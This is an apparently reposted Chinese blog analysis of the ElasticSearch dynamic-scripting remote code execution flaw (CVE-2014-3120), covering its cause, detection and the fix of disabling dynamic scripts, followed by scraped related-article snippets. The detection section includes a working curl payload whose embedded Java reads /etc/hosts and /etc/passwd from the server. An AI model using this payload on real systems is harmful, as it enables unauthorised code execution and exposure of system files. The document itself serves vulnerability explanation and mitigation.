ElasticSearch远程随意代码运行漏洞(CVE-2014-3120)分析
原理
这个漏洞实际上非常easy,ElasticSearch有脚本运行(scripting)的功能,能够非常方便地对查询出来的数据再加工处理。
ElasticSearch用的脚本引擎是MVEL,这个引擎没有做不论什么的防护,或者沙盒包装,所以直接能够运行随意代码。
而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户能够直接通过http请求,运行随意代码。
事实上官方是清楚这个漏洞的,在文档里有说明:
First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween.
检測方法
在线检測:
http://tool.scanv.com/es.html 能够检測随意地址
http://bouk.co/blog/elasticsearch-rce/poc.html 仅仅检測localhost。只是会输出/etc/hosts和/etc/passwd文件的内容到网页上
自己手动检測:
curl -XPOST 'http://localhost:9200/_search?
pretty' -d ' { "size": 1, "query": { "filtered": { "query": { "match_all": {} } } }, "script_fields": { "/etc/hosts": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();" }, "/etc/passwd": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();" } } } '
处理办法
关掉运行脚本功能,在配置文件elasticsearch.yml里为每个结点都加上:
script.disable_dynamic: true
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts
官方会在1.2版本号默认关闭动态脚本。
https://github.com/elasticsearch/elasticsearch/issues/5853
參考:
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html
http://bouk.co/blog/elasticsearch-rce/
转载于:https://www.cnblogs.com/jzssuanfa/p/6803338.html
ElasticSearch远程随意代码运行漏洞(CVE-2014-3120)分析相关推荐
- php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限
此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...
- 远程命令/代码执行漏洞(RCE)总结
介绍 Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的.PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一. 当应用需要调 ...
- php cgi远程控制,php cgi远程任意代码执行漏洞
国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 粗看一下貌似没啥 ...
- hp代码改成linux代码,HP Database Archiving Software远程任意代码执行漏洞
发布日期:2011-12-29 更新日期:2011-12-31 受影响系统: HP HP Database Archiving Software 6.31 描述: ------------------ ...
- Apache Log4j2远程JNDI代码执行漏洞修复
#漏洞简介 Apache Log4j2远程代码执行漏洞 当打印的日志含有${字符串时程序会使用lookup解析要打印的字符串,执行任意远程代码,框架没有做相应的过滤导致注入.官网已经在2.16.0(j ...
- Kibana原型污染导致远程执行代码 CVE-2019-7609 漏洞复现
Kibana原型污染导致远程执行代码(CVE-2019-7609) by ADummy 0x00利用路线 0x01漏洞介绍 Kibana是Elasticsearch的开源数据可视化仪表板. 5 ...
- 不能执行已释放 script 的代码_[漏洞预警]CVE20190708远程桌面代码执行漏洞利用工具已放出...
漏洞描述 2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞,该漏洞影响了许多版本的Windows操作系统.该漏洞在不需身份认证的情况下即可远程触发,危害与影 ...
- RCE详解(远程命令/代码执行漏洞)
1.RCE(remote command/code execute)概述 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行 一般出现这种漏洞, ...
- RCE 远程命令代码执行漏洞
什么是REC Remote Command/Code Execute,远程命令或者代码执行.通过构造特殊的字符串,将数据提交到WEB应用程序,并利用该方式外部程序或命令进行攻击,类似SQL注入. We ...
最新文章
- 年薪25-50w| 虚拟现实创新中心三维重建算法高级研究员招聘
- 【 C 】对指针表达式的个人总结与思考
- java 偶数求和 数组_JAVA实现幻方
- java开发一年多少钱_4年Java程序员:月薪不过3万,就不要拿命换钱了
- 解决fiexd和transform一起用导致的失效问题
- 上课解除教师机控制(红蜘蛛)超详细
- 使用Python解二元一次方程组
- 2019年360笔试
- 发现一个提供免费英文软件类书籍的网站[xgluxv]
- dsp gpip操作 data set 和clc
- H5横幅,旗帜飘动动画
- 使用Python打印爱心
- Transformer计算量和过程统计
- STM32的空闲中断
- Cortex-A 系列处理器
- 来谈谈股民们的抄底问题,正确的短线交易是怎么玩的?活在市场里
- whatamitoyou-小白详解
- POJ 3842 An Industrial Spy 快筛质数+STL乱搞
- 优思学院|不可不知的FMEA分析
- 参加计算机社团的英语作文,欢迎参加我们俱乐部
热门文章
- 免oracle客户端下载,Oracle免安装客户端
- HTTP的长链接和短链接说明
- intel服务器最新主板芯片组,intel主板芯片组的介绍
- 更新 绑定数据_Blazor 修仙之旅 组件与数据绑定
- 手机技巧:手机关掉这个开关,一下能省2G内存,再也不怕卡顿死机
- ASP.NET MVC的过滤器笔记
- 高级程序员和低级程序员的区别
- python合法变量类型_Python 变量类型
- Java高级补充(Socket服务端、客户端)、Handler类、安卓Socket传数据、WebView
- afudos备份bios不动_bios刷坏后的两种解决方法